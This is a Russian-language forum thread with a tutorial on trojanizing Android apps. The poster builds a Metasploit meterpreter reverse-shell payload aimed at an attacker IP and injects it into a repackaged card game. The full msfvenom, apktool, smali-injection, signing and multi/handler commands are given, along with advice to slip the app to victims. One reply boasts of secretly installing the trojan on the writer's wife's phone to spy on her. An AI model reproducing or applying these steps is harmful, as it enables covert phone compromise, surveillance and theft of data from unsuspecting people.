• Codeby web-security - Курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое. Подробнее ...

  • Мобильный клиент нашего форума для Android гаджетов доступен в Google Play Market по этой ссылке. Клиент можно скачать с нашего форума по этой ссылке. Последняя версия МК в нашем телеграм канале вот здесь

Атака на Android

arees

Active member
08.10.2017
27
24
#1
Перед атакой вам необходимо настроить проброс портов на своем маршрутизаторе, чтобы полезная нагрузка могла подключиться к машине с Metasploit Лучшим вариантом было подключиться к Интернету напрямую с белым IP адресом, но это слишком затратно. Настройка переадресации портов не так уж и сложна, но проверить её работоспособность может быть немного сложнее. Жалко только что данный подход нельзя использовать при работе через 3G модем, потому как ему изначально присваивается серый IP адрес и конечно же доступа к маршрутизатору провайдера для настройки проброса портов у вас нет.

В нашем случае ноутбук с установленным Metasploit-Framework имеет IP-адрес 192.168.1.102. Выберем порт 4444 в качестве рабочего порта для нашей полезной нагрузки, чтобы избежать путаницы. Я буду показывать пример на модеме TP-LINK, ваш маршрутизатор или модем конечно же может иметь другую Web-морду.
image001.png
image002.png
Теперь осталось создать троян:
#msfvenom -p android/meterpreter/reverse_tcp lhost=2.135.19.194 lport=4444 -o /root/gamestest.apk
команда проста : -p это payload в нашем случае реверсный meterpreter,
lhost внешний ip нашей атакующей машины, lport наш открытый порт
image003.png

Но скорее всего не кто такое приложение не запустит так в наше время тяжело будет убедить человека что это реальная программа.Одно из решений мы можем встроить полезную нагрузку в другое более актуальное приложения.Приложение будет работать и выполнять зловред перед запуском , таким образом, жертва не будет даже знать, что его система под угрозой.
Также будут нужны некоторые библиотеки и инструменты
Чтобы установить требуемые библиотеки, введите эту команду в консоли: apt-get install lib32stdc++6 lib32ncurses5 lib32z1
И получить последнюю версию ApkTool:
C установкой проблем возникнуть не должно скачиваете два файла wrapper script и apktool

image005.png

установка окончена:
Далее краткий обзор того, что мы собираемся сделать.
1.Декомпилировать полезную нагрузку и первоначальный apk
2. Скопировать файлы полезной нагрузки в первоначальный apk

3. Ввести полномочия в файле AndroidManifest.xml
4. Перекомпилировать первоначальный apk
5. Подписать apk приложением Jarsigner
В качестве приложения для хранения и скрытой пересадки троянчика я буду использовать
популярную онлайн игрушку скачанную на трешбоксе Дурак online

ДЕКОМПИЛИРУЕМ APK
#apktool d -f -o payload /root/gamestest.apk -данная команда декомпилирует наш созданный meterpreter.apk в папку payload папка создаться автоматически
#apktool d -f -o original /root/durak_online_v1.6.1.apk -команда сделает тоже самое но в качестве оригинального apk у меня карточная игра декомпилируем в папку original

image011.png image010.png
Неплохо теперь мы должны скопировать файлы полезной нагрузки в папку исходного приложения. Просто перейти в /root/payload/smali/com/metasploit/stage и скопируйте все файлы
image012.png
Теперь вставить их в /root/original/smali/com/metasploit/stage Обратите внимание на то, что metsploit и stage нужно будет создать по умолчанию эти папки не существуют, таким образом, Вы должны создать их.
image013.png
Далее мы должны не много отредактировать smali код
На предыдущем шаге мы просто скопировали код полезной нагрузки в apk файл. Но это не означает, что полезная нагрузка будет работать. Чтобы гарантировать, что полезная нагрузка cработает, мы должны отредактировать .smali apk файла .
Для этого открываем файл AndroidManifest.xml, расположенный в /root/original папка с помощью любого текстового редактора
Так или иначе ищите <activity> ярлык, который содержит обе строки
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

В моем случае, как Вы видите от скрина экрана ниже, это "com.rstgames.durak.StartActivity".
Те две строки, которые мы искали, показывают, деятельность, которая будет запускаться , когда мы стартуем уже установленное приложение средствами запуска

image014.png
Теперь, когда у нас есть названия функции, в которую мы хотим ввести ключ, давайте давайте найдем ее откройте .smali код той функции с помощью leafpad нужно заменить Activity_Путь "android:name” но вместо точек, введите наклонную черту наш путь com.rstgames.durak.StartActiviti
#leafpad /root/original/smali/com/rstgames/durak/StartActivity.smali не забываем дописать в конце .smali
image015.png Теперь ищем следующую строку в коде smali с помощью поиск
;->onCreate(Landroid/os/Bundle;)V
вставляете следующий код в строке рядом с ним
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
который запускает полезную нагрузку рядом с существующим кодом, когда запускается приложение. Теперь, сохраните отредактированный smali файл.
image016.png
"механизм"«разрешения» который приводит в исполнение ограничения на определенные операции, которые может выполнить определенный процесс.
Если мы не укажем все дополнительные полномочия, в которых наша полезная нагрузка будет нуждаться, она не может функционировать должным образом.
давайте откроем AndroidManifest.xml исходного приложения original и полезной нагрузки payload. Полномочия упоминаются внутри <uses-permission> Скопировать дополнительные строки разрешения от AndroidManifest Полезной нагрузки, до одного исходного приложения. Но будьте осторожны, разрешения полномочий не должны повторятся.
После добавления полномочий от AndroidManifest
image017.png
ПЕРЕКОМПИЛИРУЕМ ORIGINAL APK
#apktool b /root/original
image018.png

У Вас теперь будет скомпилированный apk в деректории "/root/original/dist" каталог.
отлично но отстается только подписать apk без подписи приложения работать не будет
ПОДПИСАТЬ APK
Вам не нужен Studio Android, чтобы подписать Ваше приложение. Вы можете подписать свое приложение из командной строки, используя apksigner инструмент или сконфигурировать Gradle, Так или иначе Вы должны сначала генерировать закрытый ключ, используя keytool Например:
image019.png
#keytool –genkey –v –keystore my-release-key.jks –keyalg RSA –keysize 2048 –validity 10000 –alias my-alias создать ключ
#jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore my-release-key.jks /usr/local/bin/sign_durak_online_v1.6.1.apk my-alias подписать
Отлично осталось только подсунуть кому нибудь наш apk
После того как отправили троян заходим msfconsole

use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

image004.png и ждем отстука как жертва запустит файл получим meterpreter sessions.
всем спасибо за внимания всем удачного пинтеста

 

Вложения

jack_dali

New member
06.01.2018
1
0
#2
А можно подробней как подписать apk. а так все классно спасибо за статью
 
06.01.2018
1
0
#4
Да интересно но подписать тоже не удалось использовал на Windows всякие проги а так актуально жене в место офф. месенджера подсадил трояна теперь слежу шаг в лево шаг в право расстрел
 

arees

Active member
08.10.2017
27
24
#7
Кому как удобно мне кажется проще на kali сразу подписать
 

Andrey_Cerk

New member
06.01.2018
1
0
#8
Для подписи приложения можно использовать ZipSigner на самом андроиде
***Скрытый текст***
Долбан кто будет собирать apk подписовать у жертвы на телефоне
Аккаунт переведен в режим "Только чтение" на 72 часа. Администратор.
[doublepost=1515235194,1515235156][/doublepost]можно подробней не получаеться подписать (((((((
 
Последнее редактирование модератором:

Tayrus

Grey Team
13.04.2017
278
395
#9
Долбан кто будет собирать apk подписовать у жертвы на телефоне
[doublepost=1515235194,1515235156][/doublepost]можно подробней не получаеться подписать (((((((
Вы следите за вашей речью... Не у жертвы собирать к на своём андроиде...
 

fakecop

Well-known member
23.12.2016
48
16
#10
Такой вопрос: не все же апк подвергаются декомпилированию и как с этим бороться?
 

fakecop

Well-known member
23.12.2016
48
16
#11
Помогите решить такую вот проблему
При декомпиляции и компиляции снова апктоол"ом (не внося никаких изменений) бьется приложение, что делать??
S80727-00175629.jpg
 
Вверх Снизу